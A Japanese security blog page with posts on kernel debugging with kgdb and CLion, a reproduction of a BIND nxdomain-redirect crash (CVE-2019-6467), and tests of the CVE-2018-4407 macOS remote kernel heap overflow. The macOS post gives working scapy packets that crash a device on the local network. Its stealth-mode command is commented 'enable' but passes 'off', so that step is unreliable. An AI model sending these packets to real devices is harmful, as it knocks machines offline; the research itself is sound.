knqyf263's blog

自分のためのメモとして残しておくためのブログ。

LinuxカーネルをCLionでデバッグする

概要

Linuxカーネル脆弱性はよく見つかるので、たまにLinuxカーネルデバッグしたいときがあると思います。printkデバッグでも良いんですが、いちいちビルドするの面倒だし良い感じにステップ実行できれば良いのにと思っていました。

思うだけで何一つ行動に移していなかったのですが、今回SACK Panicの脆弱性調査のために気合い入れてデバッグ環境を作ったので残しておきます。

環境はVagrantで作っていて、デバッガはkgdbを使っています。正直細かい話はよく分かってないのでカーネル詳しい方々の説明を見たほうが良いですが、とりあえず動かしたければ役に立つかもしれません。

カーネルデバッグなんかググればアホほど記事あるだろうと思ってたのですが、意外とステップ実行頑張ってる人は少なさそうに見えました。なので綺麗にステップ実行できるようになるまでにもそこそこ苦労しました。

環境

ホスト環境

VM環境

参考URL

詳細

Vagrant

まず最初にVagrantVMを起動します。以下のようなVagrantfileを作ります。Vagrantは既に使える前提です。

$ cat Vagrantfile
Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-14.04"
  config.vm.network "private_network", ip: "192.168.33.20"
  config.vm.provider "virtualbox" do |vb|
    vb.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
    vb.customize ["modifyvm", :id, "--uart2", "0x2F8", "4"]
    vb.customize ["modifyvm", :id, "--uartmode2", "tcpserver", "1234"]
    vb.memory = "2048"
  end
end

重要なのは--uart辺りで、これはVMのシリアルポートをホスト側から利用するための設定になります。VirtualBox 5.0からシリアルポートのTCP/IPバックエンド機能が使えるようになったらしく、それを利用してCLionから繋いでいます。

起動してVMにログインします。

$ vagrant up
$ vagrant ssh

Linuxカーネル

この時点で既にkgdbを利用可能な状態ではあります。実際にkgdbに関連するオプションを確認すると全て有効になっています。

vagrant@vagrant:~$ grep -i kgdb /boot/config-4.4.0-31-generic
CONFIG_KGDB=y
CONFIG_KGDB_SERIAL_CONSOLE=y
# CONFIG_KGDB_TESTS is not set
CONFIG_KGDB_LOW_LEVEL_TRAP=y
CONFIG_KGDB_KDB=y

このまま繋ぐことは可能なのですが、1つ問題があります。カーネルビルド時に最適化オプションが有効になっているため、ステップ実行しても行が飛びまくります。最適化により変数もいくつかoptimized outされて消えており、中身が見えない状態になります。

Cのプログラム書いてgdbとか動かしたことある人は分かると思いますが、あまりステップ実行のメリットが無くなってしまうため-O0などを付けるのがオススメです。そのため、このUbuntu 14.04はそのまま利用せずLinuxソースコードを落としてきて自分でビルドします。

ビルドに必要なものを入れてソースコードをcloneします。cloneし終わったら3.12にチェックアウトします。バージョンは3.12じゃなくても別に大丈夫だと思います。

vagrant@vagrant:~$ sudo apt-get -y update
vagrant@vagrant:~$ sudo apt-get install build-essential git libncurses5-dev
vagrant@vagrant:~$ git clone --depth=1 -b v3.12 https://github.com/torvalds/linux.git linux-3.12
vagrant@vagrant:~$ cd linux-3.12

カーネルの設定を行います。loadmodconfigは今ロードされているモジュールを有効にするように自動でconfigureしてくれるやつらしいです。 実行すると色々聞かれますが全部Nで大丈夫でした。デフォルトがNなのでEnter連打するだけです。

vagrant@vagrant:~$ make localmodconfig

次に一部の設定を変えるためにmenuconfigを行います。これはGUI風の画面で諸々の設定をいじれるのですが、自分はデフォルトのままで問題なかったです(記憶が失われただけで過去に設定したのかもしれない)。

vagrant@vagrant:~$ make menuconfig

参考URLにある通り、以下の設定が有効になっていれば大丈夫です。

Kernel Hacking ---> 
  <*> KGDB: kernel debugger

Device Drivers ---> 
  Network device support --->     
   <*> Network console logging support

設定が終わったらビルドします。CPU複数ないと並列化の恩恵受けられないので、時間かかるようなら上のVagrantfile内でvb.cpus = 4とかにしておくと良いと思います。

vagrant@vagrant:~$ make -j8

ビルドが終わったらmake installします。

vagrant@vagrant:~$ sudo make modules_install
vagrant@vagrant:~$ sudo make install

次に起動するカーネルを切り替える必要があります。起動時にgrubの画面で切り替えても良いのですが、面倒なのでdefault設定を変えておきます。

vagrant@vagrant:~$ grep "menuentry " /boot/grub/grub.cfg
menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-267a57a4-b544-4eb5-afdc-3a36cd2cd265' {
        menuentry 'Ubuntu, with Linux 4.4.0-31-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-4.4.0-31-generic-advanced-267a57a4-b544-4eb5-afdc-3a36cd2cd265' {
        menuentry 'Ubuntu, with Linux 4.4.0-31-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-4.4.0-31-generic-recovery-267a57a4-b544-4eb5-afdc-3a36cd2cd265' {
        menuentry 'Ubuntu, with Linux 3.12.0' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.12.0-advanced-267a57a4-b544-4eb5-afdc-3a36cd2cd265' {
        menuentry 'Ubuntu, with Linux 3.12.0 (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.12.0-recovery-267a57a4-b544-4eb5-afdc-3a36cd2cd265' {
menuentry 'Memory test (memtest86+)' {
menuentry 'Memory test (memtest86+, serial console 115200)' {

これ未だにどうやって切り替えるのが一番良いのか不明なのですが、とりあえずgrepすると上のように4.4.0-31と3.12.0の2つがあることが分かります。4.4.0-31は元々のUbuntuカーネルで、3.12.0が今ビルドしたやつなのでそちらに切り替えます。

/etc/default/grub 内のGRUB_DEFAULTを書き換えます。

vagrant@vagrant:~$ sudo vim /etc/default/grub
GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 3.12.0"

Ubuntu, with Linux 3.12.0 だけ書いていたらAdvanced optionsも付けろって怒られたので付けてます。GRUB_DEFAULT=1とかでも動く気はします(CentOSとかはいつもそうやってたので)。

ちなみにソースコードを少しいじってmake installし直すと3.12.0+になります。さらにmake installしても3.12.0++とかにはならず+のままでした。

そしてKASLRが有効だとメモリがランダマイズされてkgdbがうまく動かないので無効化します。これも上と同様 /etc/default/grub に書きます。

vagrant@vagrant:~$ sudo vim /etc/default/grub
GRUB_CMDLINE_LINUX="nokaslr"

最後にgrubの設定を更新します。

vagrant@vagrant:~$ sudo update-grub

一旦再起動します。

vagrant@vagrant:~$ sudo reboot

カーネル入れ替えるとVirtualBoxのファイル共有機能が使えなくなっているので、入れ直しておきます。

vagrant@vagrant:~$ sudo apt-get update
vagrant@vagrant:~$ sudo apt-get -y install --reinstall virtualbox-guest-dkms

rebootコマンドで起動していたら何故かファイル共有がうまく動かなくて困っていたのですが、おとなしくvagrantコマンドでやっておくほうが良いようでした。

ということでもう一度再起動します。

vagrant@vagrant:~$ exit
$ vagrant reload

Linuxカーネルの設定としてはこれで終わりです。

CLion

デバッグ実行のためにCLionを使います。VSCodeでも何でも良いとは思いますが、何やかんや機能が豊富そうという理由で今回はCLionを使っています。

適当にインストールします。

CLion: A Cross-Platform IDE for C and C++ by JetBrains

次にソースコードも必要なので持ってきます。再度cloneしても良いのですが、既にVM内にあるので持ってきます。gitでcloneした場合でもvmlinuxは必要なので結局VM内から持ってくることになります。

VM内の /vagrant に置くとホスト側のVagrantfileある位置に動悸されます。このlinuxnのソースを適当な位置に移動させます。自分は ~/src/github.com/knqyf263 に移動させましたが、各自の好きな場所で良いです。

$ vagrant ssh
vagrant@vagrant:~$ sudo cp -r linux-3.12/ /vagrant/
vagrant@vagrant:~$ exit
$ mv linux-3.12 ~/src/github.com/knqyf263/

CLionで ~/src/github.com/knqyf263/linux-3.12/ を開きます。

f:id:knqyf263:20190701185144p:plain

GDBのリモートデバッグの設定をします。右上の「Add Configuration」からポップアップを開いて左上の「+」ボタンを押して「GDB Remote Debug」を選びます。

以下のように設定しておきます。

  • Name: kernel
  • GDB: /usr/local/bin/gdb
  • 'target remote' args: localhost:1234
  • Symbol file: /Users/teppei/src/github.com/knqyf263/linux-3.12/vmlinux
  • Path mappings:

「Name」は何でも良いので適当に決めます。

GDB」の箇所はとても重要です。CLionはgdb/lldbが同梱されており、デフォルトだとDebuggerはBundledなものが指定されています。

めっちゃハマったのですが、同梱のやつだとうまく動きません。何か方法があるかもしれないですが、とりあえずbrewgdbを入れておけば動くようになります。

$ brew install gdb

インストールできたら /usr/local/bin/gdb を使うように設定しておきます。「Custom GDB executable」にして /usr/local/bin/gdb を指定すればOKです。

次に「target remote」ですが、これは最初にVagrantlocalhost:1234にシリアルポートを開くように設定したのでそちらに繋いでいます。違うポートにしていたらそれに合わせて変えて下さい。

「Symbol file」はビルド時に得られたvmlinuxをMac側に持ってきて設定する必要があります。これも自分linuxのソースをmvした場所を指定する必要があるので、自分の置いたディレクトリに合わせて設定して下さい。

「Path mappings」ではリモートのpathとローカルのpathをマッピングする必要があります。この設定がうまく出来なくてかなりハマりました。

以下のような感じになると思います。

f:id:knqyf263:20190701123756p:plain

最適化の無効化

ここまでの設定で既にデバッグは可能なのですが、先程も述べたようにこのままだと最適化のせいでステップ実行が綺麗に動きません。そこでLinuxカーネル全体を-O0で最適化無効にしようとしたのですが、どうやらLinuxカーネルは-O0でコンパイルできないようです。

lists.kernelnewbies.org

Yes, it doesn't work :)

って言われてます。実際に自分もやってみたらうまく行かずでした。ここは誰かカーネルに詳しい人に助けてほしいです。

ですが、上の参考URLに貼ったslideshareを見ると特定のファイル単位での無効化なら可能なようです。

CFLAGS_(オブジェクトファイル名) = コンパイルオプション

こんな感じで書けるみたいです。今回無効にしたかったのはtcp_input.cだったので以下のようにMakefileに追記しました。

vagrant@vagrant:~$ vim linux-3.12/net/ipv4/Makefile
...
CFLAGS_tcp_input.o = -O0

再度ビルドとインストールを行います。

vagrant@vagrant:~$ cd linux-3.12/
vagrant@vagrant:~$ make -j8
vagrant@vagrant:~$ sudo make modules_install
vagrant@vagrant:~$ sudo make install

先程も述べたように3.12.0+になっているのでgrubの設定を変えておきます。

vagrant@vagrant:~$ sudo vim /etc/default/grub
GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 3.12.0+"
...

更新します。

vagrant@vagrant:~$ sudo update-grub

あとはリロードすればOKです。

vagrant@vagrant:~$ exit
$ vagrant reload

そしてvmlinuxを忘れないようにMacに持ってきます。ソースコードビルドし直したあとにこれを忘れて30分ぐらい溶かす、ということを自分は5回ぐらいやってます。疲れてくると忘れがち。

$ vagrant ssh
vagrant@vagrant:~$ sudo cp linux-3.12/vmlinux /vagrant/
vagrant@vagrant:~$ exit
$ mv vmlinux ~/github.com/knqyf263/linux-3.12/

デバッグ

念の為カーネルバージョンを確認しておきます。

$ vagrant ssh
vagrant@vagrant:~$ uname -a
Linux vagrant 3.12.0+ #2 SMP Fri Jun 28 04:03:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

3.12.0+になっていればOKです。

では実際にデバッグしてみます。以下のコマンドを打つとkgdbを待ち受けるようになります。VM側は何もコマンド打てなくなりますが、デバッガで繋げば動かせるようになるので焦らなくて大丈夫です。

vagrant@vagrant:~$  echo ttyS1,115200 | sudo tee /sys/module/kgdboc/parameters/kgdboc
vagrant@vagrant:~$  echo g | sudo tee /proc/sysrq-trigger

今回は net/ipv4/tcp_input.cデバッグしたかったので、適当にtcp_ack関数内にブレークポイントを貼っておきます。

f:id:knqyf263:20190701184917p:plain

右上の虫ボタンを押すとVMに繋がりブレークポイントで止まります。

f:id:knqyf263:20190701185029p:plain

あとはステップ実行なり何なり好き勝手出来ます。変数の中身も見放題なので大分捗るようになります。

ただ、やはりカーネルだからなのかステップ実行は少し時間がかかります。なので自分は常に見たい値はprintkで一部出力したりしてました。その場合はビルドし直してvmlinuxを持ってくるのですが、同時にソースコードも持ってこないと行がずれてしまうので気をつけて下さい。

あと欲しい値見る時は「Variables」で右クリックすると「Evaluation Expression」というのがあるので、それを使ったりしてたのですがマクロの場合は評価後の値を見れませんでした。これもやり方ありそうですが、とりあえず分からなかったのでソースコードに単にマクロの結果を変数に代入するだけの行を追加したりして凌いでました。

struct  tcp_skb_cb *cb = TCP_SKB_CB(skb);

こんな感じ。

自分は /net/ipv4/tcp_input.c 以外にも /net/ipv4/tcp_output.c も-O0を付けつつprintkデバッグしてました。ただ、skbuff.cは-O0付けたら動かなかったので辛かったです。

何かたまにデバッガの接続が切れてVMが動かなくなることがあります。再度CLionから繋ぐことで動くこともあれば、どうやっても復帰できないときもあるのでそういう時は大人しくVM再起動してます。

あとVirtualBoxのせいか動作が不安定で突然クラッシュすることもありました。もっと新しいLinuxのバージョン使えば安定するのかも...?

そして、あまりLinuxカーネル関係なくIntelliJ IDEAのテクニックになりますが、ブレークポイントはConditionが書けます。カーネル内の変数を使ってif文書いたり出来るということです。

f:id:knqyf263:20190701150513p:plain

これは目からウロコで、特定の閾値を超えたときだけ見たい場合とかいつも困ってたのですがこれ使ってから劇的に便利になりました。ブレークポイント間での依存関係も指定でき、特定のブレークポイントにヒットするまで他のブレークポイントも無効にできます。

Linuxカーネルは特に雑にブレークポイント指定するとヒットしまくってボタンを連打する人になりがちなので本当に助かりました。これなしでは生きていけないぐらい便利な機能でした。

まとめ

ハマりまくってやっと動くようになったので、やり方をまとめておきました。ググった感じあまりこの辺りやってる人見つからなかったのですが、何か他に良いやり方あれば教えて下さい。

CVE-2019-6467 (BINDのnxdomain-redirectに関する脆弱性)について

概要

今日の朝ぐらいにBINDでCVE-2019-6467の脆弱性が公開されました。最近BINDの脆弱性が出ても時間が取れず調査できていなかったので今回は超速で調査しました。世界で一番早く解析したんじゃないかなと思ってます(未確認)。

CVE-2019-6467はnxdomain-redirectに関する脆弱性です。

参考URL

詳細

前提

そもそもこの脆弱性はnxdomain-redirectを使っていない場合は影響を受けません。そのため、多くのBINDユーザには影響なしだと思われます。

それでもこの脆弱性の詳細が知りたい!!!という知的好奇心が抑えられない人だけこれ以降を読んで下さい。

NXDomain redirection

nxdomain-redirectはBINDの9.11から入った機能なのですが、調べてもとにかく情報が出ません。それぐらいマイナーな機能なんじゃないかと思っていますが、昔見つかったCVE-2016-9778もnxdomain-redirectに関連する脆弱性でその時にJPRSから出ていた資料がわかりやすいです。

BIND 9.xの脆弱性(DNSサービスの停止)について(CVE-2016-9778)

BIND 9.xには、名前が存在しなかった場合にNXDOMAINに替えて特定のIPアドレス(AまたはAAAA)に対する応答を返すように設定するための機能が二つ実装されています(1)。一つは、BIND 9.9で実装されたRedirect zone機能で(2)、もう一つはBIND 9.11で実装された、より柔軟な設定が可能なRedirect namespace機能です(3)(4)。

今回はこの2つのNXDOMAIN redirectionのうち、後者(nxdomain-redirect)の方に関するものです。ちなみにNXDOMAINはドメイン名が見つからなかった時に返すレスポンスタイプですね。

脆弱性概要

それを踏まえた上で参考URLに挙げたISCのページを見てみます。

In certain configurations, named could crash with an assertion failure if nxdomain-redirect was in use and a redirected query resulted in an NXDOMAIN from the cache. This flaw is disclosed in CVE-2019-6467. [GL #880]

これを読むと、nxdomain-redirectが有効でリダイレクトされた先もNXDOMAINになったときにクラッシュすると言っているように見えます。しかもそれがキャッシュから取り出されたときなのでネガティブキャッシュがあることが条件。それって設定次第では普通に起き得るのでは...?という気持ちになります。ただ In certain configurations と言っているので普通には起きないのかも、という若干の安心感があります。

どういうソースコードの差分があるか見てみます。

$ wget ftp://ftp.isc.org/isc/bind9/9.12.4/bind-9.12.4.tar.gz
$ wget ftp://ftp.isc.org/isc/bind9/9.12.4-P1/bind-9.12.4-P1.tar.gz
$ tar xvf bind-9.12.4.tar.gz
$ tar xvf bind-9.12.4-P1.tar.gz
$ diff -r bind-9.12.4-P1/ bind-9.12.4/
...
Only in bind-9.12.4-P1/bind-9.12.4-P1/bin/tests/system/redirect: ns5
Only in bind-9.12.4-P1/bind-9.12.4-P1/bin/tests/system/redirect: ns6
...

ほとんどはCHANGELOGとかの差分ですが、testsの中にredirectというディレクトリがあります。今回の脆弱性を受けて足されたテストということは、今回の脆弱性を再現するような設定になっている可能性が高いです。

$ cat bind-9.12.4-P1/bin/tests/system/redirect/ns5/named.conf.in
...
options {
        port @PORT@;
        listen-on port @PORT@ { 10.53.0.5; };
        pid-file "named.pid";
        nxdomain-redirect signed;
};

zone "." {
        type master;
        file "root.db.signed";
};

// An unsigned zone that ns6 has a delegation for.
zone "unsigned." {
        type master;
        file "unsigned.db";
};

中を見ると、確かにnxdomain-redirectの設定が足されています。こうやって設定するのかーと思うのと同時に、nxdomain-redirectってIPアドレスとか書くんじゃないの?書くとどういう動きになるの?という謎が生まれてきます。

nxdomain-redirect

BINDのマニュアルを見てみます。

Chapter 6. BIND 9 Configuration Reference

With a redirect namespace (option { nxdomain-redirect };) the data used to replace the NXDOMAIN is part of the normal namespace and is looked up by appending the specified suffix to the original query name. This roughly doubles the cache required to process NXDOMAIN responses as you have the original NXDOMAIN response and the replacement data or a NXDOMAIN indicating that there is no replacement.

と書いてあります。 is looked up by appending the specified suffix to the original query name あたりを読むに、元のクエリのsuffixにnxdomain-redirectが足されるのか!という雰囲気が伝わります。

では早速試してみます。

$ cat /etc/named.conf
options {
        nxdomain-redirect redirect;
};

zone "." IN {
        type hint;
        file "named.root";
};

zone "example.com." IN {
        type master;
        file "example.com.zone";
        allow-update { none; };
};

zone "redirect" IN {
        type master;
        file "example.com.redirect.zone";
};

上の設定は色々省略しているのでそのままでは動かないです。そしてzoneファイルを次のようにします。

$ cat example.com.redirect.zone
$ORIGIN redirect.
$TTL 3600       ; 1 hour
@ IN SOA ns1.example.com. postmaster.example.com. (
        2015012902  ; serial
        3600        ; refresh (1 hour)
        1200        ; retry (20 min.)
        1209600     ; expire (2 weeks)
        900         ; minimum (15 min.)
        )
@       IN  NS      ns1.example.com.
@       IN  NS      ns2.example.com.

ns1         IN  A       192.168.1.2
ns2         IN  A       192.168.1.3
nxdomain.example.com IN  A       192.168.1.4

こうしておけば、nxdomain.example.comを引いた時にBINDはNXDOMAINを返そうとするが、 nxdomain-redirectredirect が指定されているのでsuffixにくっつけて nxdomain.example.com.redirect を探しに行くはず。上で nxdomain.example.com.redirect の時に192.168.1.4を返すように設定してあるので nxdomain.example.com はNXDOMAINなのに 192.168.1.4 が返ってくる、という仕組みのはずです。

結論から言うとこれはうまく動きませんでした。nxdomain.example.comじゃなくてnxdomainなのか?!nxdomain.example.com.redirect. まで書かないとダメなのか?!などなど悪戦苦闘しまくりましたが、実は example.com が正解でした。つまり

example.com IN  A       192.168.1.4

こうしておくと、nxdomain.example.comを引いた時にexample.com.redirectにリダイレクトされるようです。冷静に考えたらnxdomainの部分は何でも良いわけで、そこまで指定するわけがありませんでした。*.example.comとかはありそうですが。

少し話がそれますが、CVE-2016-9778では以下のように書かれています。

BIND 9.xにはRedirect namespace機能に不具合があり、nxdomain-redirectオプションにおいて自身が権威を持つゾーンが指定されていた場合、本機能に該当する問い合わせを処理する際にnamedが異常終了を起こす障害が発生します(*5)。

ということは上の設定だと死ぬんだろうか...

話を戻します。完全に推測ですが、上の設定はexample.comのNXDOMAINのときは192.168.1.4という意味になっていて、他にも example2.com とか example3.com とかのzoneを管理している時に、redirectのゾーンで

example.com IN  A       192.168.1.4
example2.com IN  A       192.168.1.5
example3.com IN  A       192.168.1.6

のように書けるのが嬉しい、ということじゃないかと思います。とにかくnxdomain-redirectに関してドキュメントが見つからず試行錯誤の結果なので、正しい用法などあればJPRSの方などからの指摘をお待ちしております。

試行錯誤の結果を置いておきます。存在しないドメイン名であれば何を問い合わせても192.168.1.4が返ってきます。

github.com

脆弱性詳細

ということでようやく脆弱性詳細です。先程のdiffをもう一度見てみると、ソースコード上にもいくつか差分があります。

diff -r bind-9.12.4-P1lib/ns/query.c bind-9.12.4/lib/ns/query.c
5900a5891
>               qctx->is_zone = qctx->client->query.redirect.is_zone;
6006a5998
>               qctx->is_zone = qctx->client->query.redirect.is_zone;

中でも関係ありそうなのが上の箇所です。GitHub上で見ると以下です。

bind9/query.c at v9_12_4 · isc-projects/bind9 · GitHub

リダイレクトの場合は qctx->is_zoneqctx->client->query.redirect.is_zone を代入しています。脆弱性の概要にはassertion failureで落ちると書いてあったので、この qctx->is_zone をassertにかけているところを探します。

すると、INSISTに qctx->is_zone を渡している箇所が複数見つかります。INSISTは単にメッセージを出力してabortするassertだと思って良いと思います。

bind9/gen.c at f285dd9a0828ba472645e61e5e9608c852aa31b6 · isc-projects/bind9 · GitHub

中でもquery_ncache関数の中で呼ばれている INSIST(!qctx->is_zone); はとても怪しいです。何故かと言うと脆弱性概要で a redirected query resulted in an NXDOMAIN from the cache のように書かれており、キャッシュからNXDOMAINを取り出す、つまりネガティブキャッシュの箇所で起きる可能性が高いためです。

bind9/query.c at v9_12_4 · isc-projects/bind9 · GitHub

ということでソースコードも読んだので実際に動かします。redirect先がNXDOMAINになるようにするのは簡単です。redirect先が存在しなければ良い。先程の例でいうと、redirectのzoneを消せばよいです。

$ cat /etc/named.conf
options {
        nxdomain-redirect redirect;
};

zone "." IN {
        type hint;
        file "named.root";
};

zone "example.com." IN {
        type master;
        file "example.com.zone";
        allow-update { none; };
};

これで試せる状態になりました。

$ dig @127.0.0.1 nxdomain.example.com

このように適当に存在しないドメイン名を引いてみます。

...
25-Apr-2019 06:40:13.561 query.c:9309: INSIST(!qctx->is_zone) failed
25-Apr-2019 06:40:13.561 exiting (due to assertion failure)
25-Apr-2019 06:40:13.562 resolver priming query complete

oh...

BINDが死にました。ネガティブキャッシュと言っていたので一度キャッシュさせて二回目で死ぬのかな、と思っていたのですがクエリ一発で一瞬で死にます。確かに上のquery_ncacheを見る感じだと最初にINSISTしているので、NXDOMAINならすぐクラッシュするようです。

In certain configurations って言ってたじゃん!!単にNXDOMAINになるだけで再現するじゃないか!!

ということで意外な程にあっさりと再現できました。試したい人のために例によって再現環境を置いておきました。GIFとかもあるので動画見たい人はそちらをどうぞ。

github.com

対策

NXDOMAINにならなければクラッシュしないため、きちんと存在するzoneに対してredirectして上げれば影響ないと思います。 パッチ済みバージョンではis_zoneの代入が削除されているので、クラッシュしなくなっています。

まとめ

BINDのnxdomain-redirectに関する脆弱性(CVE-2019-6467)について調査しました。結果としては、あまりにも簡単に再現できてしまいました。ちゃんとテストしたのかな...と不安になるレベルです。ほとんど使われてないようなので問題なさそうですが。

CVE-2018-4407 (OS X Remote Kernel Heap Overflow)を試してみた

MaciPhone/iPadを簡単にクラッシュさせることが出来るという動画が少し前に話題になっていました。

PoCも公開されたので、実際に試してみたという記事です。

概要

MaciOSバイスをクラッシュさせるCVE-2018-4407の動画が話題になっていましたが、PoCコードは公開されていなかったので試せない状態でした。 ですが実はその翌日に別の人がPoCコードを公開していたようです(全然気づかなかった)。 どういう原理か気になったので試しつつ調べてみました。 普段はデバッガで追うのですがMacのKernelは試すのが大変だったので、今回はそこまではやっていません。 PoCを色々いじってみて挙動から推測した感じです。

TL;DR

先に自分の知っている範囲でまとめておきます。 実際にメモリの中とかを見たわけじゃないので正しいかは分かりません。 推測の部分が多いです。

  • 攻撃のためには不正なTCPパケットを送る必要がある
    • ヘッダを大きくすることが出来ればTCPじゃなくてもいけそう
  • IPヘッダのOptionsを壊しておく
    • PoCではOptionsの長さ指定をおかしくしている
  • IPヘッダが壊れているのでMacはICMPのParameter Problem(Type 12)を返そうとする
  • Type 12は元の不正なパケットのIPヘッダとデータグラムの先頭部分をペイロードに入れる
  • その際に確保しているメモリが少ない&長さのチェックがない
  • TCPヘッダを大きくすれば確保されたヒープのサイズを超えてアクセスしてOSがクラッシュ
  • ヒープバッファオーバーフローなので最悪任意コードが実行可能
  • MacFirewallでステルスモードを有効にすれば影響を受けない
    • ICMPを返さなくなるため
  • 攻撃するためには同一ネットワークにいる必要あり
    • インターネット経由での攻撃は難しい
    • IPヘッダのOptionsが不正な値なため、ルータを通過しない(ルータがICMPを返してしまう)

詳細

発見者の方のページに詳細が書いてあります。

lgtm.com

PoCは以下で公開されていました。

まずは試してみます。 攻撃対象のMacIPアドレスを調べておきます(今回は仮に192.168.1.2だとする)。

$ sudo scapy
WARNING: Cannot read wireshark manuf database
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)
INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication.
WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.

                     aSPY//YASa
             apyyyyCY//////////YCa       |
            sY//////YSpcs  scpCY//Pp     | Welcome to Scapy
 ayp ayyyyyyySCP//Pp           syY//C    | Version 2.4.0
 AYAsAYYYYYYYY///Ps              cY//S   |
         pCCCCY//p          cSSps y//Y   | https://github.com/secdev/scapy
         SPPPP///a          pP///AC//Y   |
              A//A            cyP////C   | Have fun!
              p///Ac            sC///a   |
              P////YCpc           A//A   | Craft packets like I craft my beer.
       scccccp///pSP///p          p//Y   |               -- Jean De Clerck
      sY/////////y  caa           S//P   |
       cayCyayP//Ya              pY/Ya
        sY/PsY////YCc          aC//Yp
         sc  sccaCY//PCypaapyCP//YSs
                  spCPY//////YPSps
                       ccaacs

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

この1パケットを送るだけでMacがクラッシュします。

IP Options

このときに送られたパケットをWiresharkで見てみると、IPヘッダのOptionsのところでエラーが出ています。 他にもTCPMD5 signatureのサイズが正しくないと怒られています。

f:id:knqyf263:20181105090949p:plain

では今度は同じパケットを外部にある自分のサーバ宛に送ってみます。

>>> send(IP(dst="Public IP address",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

ICMPが返ってきました。これはルータから返ってきています。

f:id:knqyf263:20181105091353p:plain

「Parameter problem」と言われており、IPヘッダがおかしいということでエラーが返されています。 このとき、ICMPのペイロードに元のパケットのヘッダ等が含まれているのが重要です。

また、Optionsの中身がルータでチェックされて不正な場合はルータからICMPが返されてしまうため、インターネット経由での攻撃は難しいことが分かります。 もしかしたらルータによっては確認しないかもしれませんが、通過する全てのルータをすり抜ける可能性はほぼないかと思います。

Optionsの2バイト目がサイズを表しますが、この長ささえあっていればOptionsの中身自体が適当でも通過するようです。 以下では "\x08" を8個詰めたのですが、Option自体はUnknownと言われるもののICMPは返されずルータを通過しました。

f:id:knqyf263:20181105091822p:plain

今回の脆弱性は対象デバイスにICMPを返させる必要があります。 そのため同一ネットワーク内からのみ攻撃可能なようです。

TCP MD5 signature

先程のキャプチャでTCP MD5 signatureのサイズがおかしいというメッセージが出ていました。 試しに正しいサイズにしてみます。

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*16),(19, "2"*16)]))

実はこれでも成功します。 Wiresharkで見るとTCP MD5 signatureの部分が正常に表示されています。

f:id:knqyf263:20181105093752p:plain

なので実はTCP MD5 signatureのサイズが2バイトずれているのは関係ありませんでした。 単に公開した人のミスっぽい気がします。 気になりすぎて本人に聞いたらLikeされたので、その通りだね、という意味なのかなと勝手に思っています。

で、何で2個Optionないと落ちないのか気になって試しに1個にすると確かにクラッシュしませんでした。

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*16),(19, "2"*16)]))

そもそもIPヘッダの方が壊れてるならそっちのサイズを増やせば良いんじゃないの?TCPヘッダ関係あるの?というのが疑問で、発見者のブログにもTCPに関する解説がなくて困ってました。

という話をしていたら、とある会社のグループリーダーの方が以下のようなことを言っていました。 f:id:knqyf263:20181105114443p:plain

確かにTCPヘッダのほうが溢れる原因なのかもしれないと思い、試しにTCPヘッダの方を大きくしてみました。

>>> send(IP(dst="192.168.1.2",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*32)]))

これでもクラッシュしました。 TCP Optionsに大きい値が入っていることが分かります。 PoCを公開した方は正規のサイズまでの方が良いと考えて2個にしたのかもしれません(サイズ間違ってましたが)。 ですが実際にはTCP Optionsが1個でも大きくすれば刺さるみたいです。

f:id:knqyf263:20181105115110p:plain

実際にデバッガで追ったわけではないので発見者のブログと合わせて推測したに過ぎませんが、ICMPのType 12を返させるためにIPヘッダのOptionsを壊すのが必要で、実際にクラッシュさせるためにはTCPヘッダを大きくする必要があるのではないかと思います。 確証はないですが、色々試してみた挙動としてはそのように見えました。

回避策

発見者も書いていましたが、MacFirewallを有効にしてステルスモードを有効にすれば良いです。 有効にする方法は以下に書いてあるのですが、自分のMacではうまく出来ませんでした。

support.apple.com

なのでターミナルから実行しました。

# Firewallを有効にする
$ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate on
# ステルスモードを有効にする
$ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode off

これpingとかに応答しなくなるだけかと思っていたのですが、エラー時のICMPも返さなくなるのですね。 実際に有効にしてからIPヘッダ壊してTCPヘッダサイズは小さいまま送ってみましたが、ICMPは返ってきませんでした。 TCPヘッダサイズを大きくしてもクラッシュしません。 恐らくICMPの処理に入らないためクラッシュしないのだと思います。

まとめ

Appleとしては、TCPUDPのヘッダサイズは固定だろうし〜とサイズを決め打ちで作っちゃったのかな、と予想してます。油断しすぎてサイズのチェックしてなかった。 その結果、可変長なTCPヘッダのOptionsに大きいサイズ詰めて送ったらオーバーフローしてしまった。 特にICMPの実装で普段そこまで使われない処理だったので見逃されていたのかなと思います。 完全に推測ですが。

実際に内部の動きを追うところまで出来なかったのは残念ですが、こういう基本的なところにもまだまだバグがあるのだなーと分かって面白かったです。

curlで始めるDockerコンテナからの脱出

リアル脱出ゲームやりたいなーと思ってたのでそれっぽいタイトルにしてみましたが、 /var/run/docker.sock をDockerコンテナにマウントするとroot権限相当のことが出来る、という詳しい人なら普通に知ってる話です。

